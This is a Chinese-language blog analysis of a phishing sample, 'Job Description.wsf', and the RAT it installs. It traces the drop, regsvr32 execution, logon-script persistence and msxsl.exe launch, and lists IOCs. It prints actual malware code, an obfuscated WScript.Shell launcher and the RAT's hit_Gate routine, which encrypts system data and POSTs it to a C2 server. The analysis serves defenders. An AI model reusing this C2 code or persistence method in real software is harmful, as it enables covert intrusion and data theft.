某钓鱼样本分析 Job Description.wsf 文件分析

发布于 2024-09-02 19:46:10 字数 8182 浏览 12 评论 0

Job Description.wsf 文件分析

之前朋友发的链接就顺便看看

文件是一个混淆过的 WScript 脚本文件 沙盒执行

释放 7397.doc 和 342.ocx 启动 word 打开 7397.doc 并调用 regsvr32.exe 运行 342.ocx

文档截图

懒得去细看反正应该就是个什么表

342.ocx 生成 BC88E872ECBCD35DFDD834.txt(jscript),28851D604F592.txt(XSL),msxsl.exe 这三个文件其中前两个文件名随机

设置注册表 key:HKEY_CURRENT_USER\Software\Microsoft\Notepad Name:当前用户名 value:id+前面两个 txt 文件名用,分割

设置注册表(使用 Logon Scripts 持久化) key:HKEY_CURRENT_USER\Environment name:UserInitMprLogonScript value: cscripT /B /e:jsCript "%APPDATA%\Microsoft\BC88E872ECBCD35DFDD834.txt" 调用 msxsl.exe 执行代码连接 C2 msxsl.exe 28851D604F592.txt 28851D604F592.txt 调用 cmd 删除自身

C:\Windows\system32\cmd.exe /c del "C:\Users\admin\AppData\Roaming\Microsoft\342.ocx" >> NUL

基本流程图

持久化分析

通过 Logon Scripts 方式到达持久化

BC88E872ECBCD35DFDD834.txt 文件混淆简单

var gwzx5707 = 0;
try{
var gwzx86 = '"';
var gwzx769515 = ".";var gwzx59 = "t";
var gwzx657 = "e";
var gwzx73 = new ActiveXObject("WScrip" + gwzx59 + gwzx769515 + "Sh" + gwzx657 + "ll");
var gwzx056 = "x";var gwzx3636 = gwzx769515 + gwzx59 + gwzx056 + gwzx59;
var gwzx786520 = gwzx769515 + gwzx657 + gwzx056 + gwzx657;
var gwzx11 = "\\";
var gwzx7 = gwzx86 + "C:" + gwzx11 + "Users" + gwzx11 + "admin" + gwzx11 + "AppData" + gwzx11 + "Roaming" + gwzx11 + "Microsoft" + gwzx11 + "";
var gwzx581 = "28851D604F592";var gwzx35270 = gwzx7 + "ms" + gwzx056 + "sl" + gwzx786520 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86;gwzx73.Run(gwzx35270, 0);
} catch(gwzx7566){
gwzx5707 = 606;
}

使用 WScript.Shell 运行 msxsl.exe 执行 28851D604F592.txt

28851D604F592.txt 文件分析(jscript 文件)

这个文件是主要代码它的混淆比较严重

这两行是被加密的核心代码其中第二行的代码为 rat 代码,第一行的代码是用来解密第二行的。它加密算法应该是自己写的,js 里解密函数差不多占整个文件的一半

28851D604F592.txt 这个文件是由 342.ocx 动态生成,而上面第二行加密的代码的密钥由 342.ocx 在运行时获取的用户名 PC 名 处理器 ID,然后把这三个值进行处理后作为密钥来加密 rat 核心代码,而上面的第一行代码在被解密执行后会在运行时会获取这三个值去解密 rat 核心代码然后启动 rat 核心代码

首先调用解密函数 gsdxqk072433 解密 gsdxqk1444 变量

然后调用 gsdxqk352 函数执行解密后的代码

现在我们转到被解密的第一行代码,这里放出关键部分

其中 gsdxqk535 函数可以很明显的看出是用来获取 pc 名 用户名 处理器 id 这三个值的

然后让我们往下看

可以看到在使用密钥对 gsdxqk379459 变量进行解密并且在使用 gsdxqk352 函数去执行解密后的代码

rat 核心代码

现在我们来分析一下 rat 核心代码

文件开头主要是定义了一些变量留到后面使用

看到那个 Gete 变量我感觉这个 rat 控制端应该是 web 开发的

开始执行

基本是初始化一些变量然后调用 check_inside 检测一下 js 文件环境变量等等

check_inside 函数部分截图

检查结束后调用 go 检查网络情况 c2 情况如果失败就调用 waitfor2 等待一定时间后重新调用 go 函数成功就调用 Main 函数

Main 函数

基本流程就是收集系统信息发送系统信息然后判断返回根据返回的命令执行指定任务或进入等待函数然后等待一段时间后调用 Main

bot_header 获取系统信息

小部分截图,这个函数里太 tm 多 if 了比如这样的

最后返回数据

末尾的 BV 应该是版本号

hit_Gate 函数

function hit_Gate(URL, POSTdata, gResponse, method) {
  var Resp = "";
  var Temp89 = "";
  var con4;
  var respzz;
  if (SYSTEM === 1) {
    con4 = xhr;
  } else {
    if (method === 1) {
      con4 = xhr;
    } else {
      con4 = con;
    }
  }
  try {
    con4.open("POST", URL, false);
  } catch(e10) {
    if (SYSTEM === 0 && method === 0) {
      return hit_Gate(URL, POSTdata, gResponse, 1);
    } else {
      return "gErr";
    }
  }
  if (gResponse === 1) {
    con4.onreadystatechange = function() {
      if (con4.readyState === 4) {
        if (con4.status === 200) {
          respzz = con4.responseText;
          if (respzz) {
            Temp89 = base91_decode(respzz);
            if (Temp89) {
              var wo = Temp89.substr(0, Temp89.length - 2);
              var KeyNow = Temp89.substr(Temp89.length - 2);
              Resp = zzzz4(Rkey + KeyNow, wo);
              if (Resp) {
                respzz = "";
              } else {
                Resp = "gErr";
              }
            } else {
              Resp = "gErr";
            }
          } else {
            Resp = "OK";
          }
        } else {
          Resp = "gErr";
        }
      }
    };
  }
  var keynow = rStr(2);
  var rNow = rInt(8, 32);
  var not_unique = POSTdata + "|" + rStr(rNow) + "|";
  var xCrypted = zzzz4(Rkey + keynow, not_unique) + keynow;
  var encoded = base91_encode(xCrypted);
  var g11 = 0;
  if (SYSTEM === 1 || method === 1) {
    try {
      con4.setOption(2, 13056);
    } catch(e411) {
      g11 = 1;
    }
  }
  try {
    con4.send(encoded);
  } catch(e11) {
    if (SYSTEM === 0 && method === 0) {
      return hit_Gate(URL, POSTdata, gResponse, 1);
    } else {
      return "gErr";
    }
  }
  if (gResponse === 1) {
    return Resp;
  }
}

发送数据获取任务返回给 Main 函数然后判断是否有任务如果有则调用 eTask 无则进入等待函数 waitfor

eTask

任务执行函数,一共实现了 6 个功能

下载执行 exe 或 dll

更新程序

自删除

重启程序

执行 cmd 不返回结果或返回结果

IOC

MD5 F2C17BE8CDAABBC4C596BABB076AB22B

domain dcc.experientialcentral.com

链接: https://twitter.com/SBousseaden/status/1208000088875978753

最后

本来是想之前就更新博客的但是因为种种原因一直没写,天气太冷都不想动了哈哈

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

無處可尋

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

我们的影子

文章 0 评论 0

素年丶

文章 0 评论 0

南笙

文章 0 评论 0

18215568913

文章 0 评论 0

qq_xk7Ean

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文